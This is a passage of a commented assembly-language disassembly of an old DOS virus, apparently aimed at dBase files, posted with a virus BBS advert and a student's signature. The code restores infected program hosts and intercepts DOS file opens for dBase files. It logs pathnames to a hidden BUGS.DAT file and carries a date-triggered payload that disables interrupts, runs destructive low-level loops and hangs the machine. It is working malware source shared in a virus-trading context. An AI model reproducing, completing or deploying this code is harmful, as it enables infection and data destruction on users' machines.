  867.     SUB    SI,OFFSET BP0644-DB0486    ; Address start of host read buffer
  868.     PUSH    BX
  869.     MOV    BX,0100H        ; Address start of host
  870.     MOV    AX,CS:[SI]        ; \ Restore start of host (1)
  871.     MOV    CS:[BX],AX        ; /
  872.     MOV    AX,CS:[SI+2]        ; \
  873.     ADD    BX,2            ;  ) Restore start of host (2)
  874.     MOV    CS:[BX],AX        ; /
  875.     POP    BX
  876.     POP    SI
  877.     POP    AX
  878.     MOV    AX,0100H        ; \ Branch to start of host
  879.     JMP    AX            ; /
  880.  
  881.     ; Search BUG.DAT file for pathname
  882.  
  883. BP0665:    PUSH    AX
  884.     PUSH    BX
  885.     PUSH    CX
  886.     PUSH    DX
  887.     PUSH    SI
  888.     PUSH    DI
  889.     PUSH    BP
  890.     PUSH    DS
  891.     PUSH    ES
  892.     CALL    BP0671            ; \ Get current address
  893. BP0671:    POP    BP            ; /
  894.     SUB    BP,OFFSET BP0671-DB0053    ; Address 'BUGS.DAT' pathname
  895.     PUSH    DS            ; \ Set ES to DS
  896.     POP    ES            ; /
  897.     MOV    DI,DX            ; Copy pathname pointer
  898.     PUSH    CS            ; \ Set DS to CS
  899.     POP    DS            ; /
  900.     MOV    DX,BP            ; Move pathname address
  901.     MOV    AX,3D00H        ; Open handle (read) function
  902.     PUSH    DI
  903.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  904.     INT    21H            ; DOS service
  905.     JNB    BP0697            ; Branch if no error
  906.     MOV    AH,3CH            ; Create handle function
  907.     MOV    CX,2            ; Hidden file
  908.     INT    21H            ; DOS service
  909.     JNB    BP0697            ; Branch if no error
  910. BP0692:    POP    DI
  911.     CLC
  912.     JMP    BP06D1
  913.  
  914. BP0697:    MOV    BX,AX            ; Move handle
  915.     ADD    DX,0CH            ; Read buffer
  916. BP069C:    MOV    CX,004EH        ; Length to read
  917.     MOV    AH,3FH            ; Read handle function
  918.     INT    21H            ; DOS service
  919.     JB    BP0692            ; Branch if error
  920.     CMP    AX,0            ; Did we read anything?
  921.     JNE    BP06B0            ; Branch if yes
  922.     MOV    AH,3EH            ; Close handle function
  923.     INT    21H            ; DOS service
  924.     JMP    BP0692
  925.  
  926. BP06B0:    POP    DI
  927.     MOV    SI,DX
  928.     PUSH    DI
  929. BP06B4:    MOV    AL,ES:[DI]        ; Get next character
  930.     CMP    AL,0            ; End of pathname?
  931.     JE    BP06C3            ; Branch if yes
  932.     CMP    AL,[SI]            ; Does it match file?
  933.     JNE    BP069C            ; Read next section if not
  934.     INC    SI            ; Next file character
  935.     INC    DI            ; Next pathname character
  936.     JMP    BP06B4            ; Compare next character
  937.  
  938.     ; Pathname found on BUG.DAT file
  939.  
  940. BP06C3:    POP    DI
  941.     MOV    AH,3EH            ; Close handle function
  942.     INT    21H            ; DOS service
  943.     STC
  944.     JMP    BP06D1
  945.  
  946.     ; unreferenced code
  947.  
  948.     MOV    AH,3EH            ; Close handle function
  949.     INT    21H            ; DOS service
  950.     CLC
  951.  
  952. BP06D1:    POP    ES
  953.     POP    DS
  954.     POP    BP
  955.     POP    DI
  956.     POP    SI
  957.     POP    DX
  958.     POP    CX
  959.     POP    BX
  960.     POP    AX
  961.     RET
  962.  
  963.     ; Open file function
  964.  
  965. BP06DB:    POPF
  966.     CALL    BP05C3            ; DOS service
  967.     JB    BP06F4            ; Branch if error
  968.     PUSHF
  969.     PUSH    SI
  970.     MOV    SI,DX
  971.     CALL    BP0468            ; Test for Dbase file
  972.     JNE    BP06F2            ; Branch if not
  973.     CALL    BP0665            ; Search BUG.DAT file for pathname
  974.     JNB    BP06F2            ; Branch if not found
  975.     CALL    BP0423
  976. BP06F2:    POP    SI
  977.     POPF
  978. BP06F4:    RETF    2
  979.  
  980.     ; Is file out of time?
  981.  
  982. BP06F7:    PUSH    AX
  983.     PUSH    CX
  984.     PUSH    DX
  985.     PUSH    SI
  986.     MOV    AX,5700H        ; Get file date & time function
  987.     INT    21H            ; DOS service
  988.     CALL    BP0703            ; \ Get current address
  989. BP0703:    POP    SI            ; /
  990.     SUB    SI,OFFSET BP0703-DW0387    ; Address file date
  991.     MOV    CS:[SI],DX        ; Save file date
  992.     MOV    CL,5            ; \ Move month to bottom of reg
  993.     SHR    DX,CL            ; /
  994.     AND    DX,0FH            ; Isolate month
  995.     MOV    AH,2AH            ; Get date function
  996.     PUSH    DX            ; Preserve file month
  997.     INT    21H            ; DOS service
  998.     POP    CX            ; Recover file month
  999.     SUB    CL,DH            ; Subtract month from file month
  1000.     CMP    CL,0            ; Negative result?
  1001.     JGE    BP0721            ; Branch if not
  1002.     NEG    CL            ; Change the sign
  1003. BP0721:    CMP    CL,3            ; Three months difference?
  1004.     JL    BP0729            ; Branch if not
  1005.     JMP    BP072E
  1006.  
  1007. BP0729:    POP    SI
  1008.     POP    DX
  1009.     POP    CX
  1010.     POP    AX
  1011.     RET
  1012.  
  1013.     ; File three months old (or next year)
  1014.  
  1015. BP072E:    CLI
  1016.     MOV    AX,3            ; Start count
  1017. BP0732:    MOV    CX,0100H
  1018.     MOV    DX,0            ; \ Address zero
  1019.     MOV    DS,DX            ; /
  1020.     XOR    BX,BX
  1021.     PUSH    AX
  1022.     INT    3            ; Breakpoint
  1023.     INT    3            ; Breakpoint
  1024.     POP    AX
  1025.     INC    AX            ; Increment count
  1026.     CMP    AL,1AH            ; Has it reached 26?
  1027.     JL    BP0732            ; Branch if not
  1028. BP0745:    CLI                ; \ Loop with interrupts disabled
  1029.     JMP    BP0745            ; /
  1030.  
  1031. ENDADR    EQU    $
  1032.  
  1033. CODE    ENDS
  1034.  
  1035.     END
  1036. 
  1037. ; ─────────────────────────────────────────────────────────────────────────
  1038. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  1039. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1040. ; ─────────────────────────────────────────────────────────────────────────
  1041.  
  1042.  
  1043.  
  1044. --
  1045. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  1046. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  1047. Student at the Northeatstern University College of Computer Science 
  1048. "I Can't Believe It's Not Butter"
  1049.  
  1050.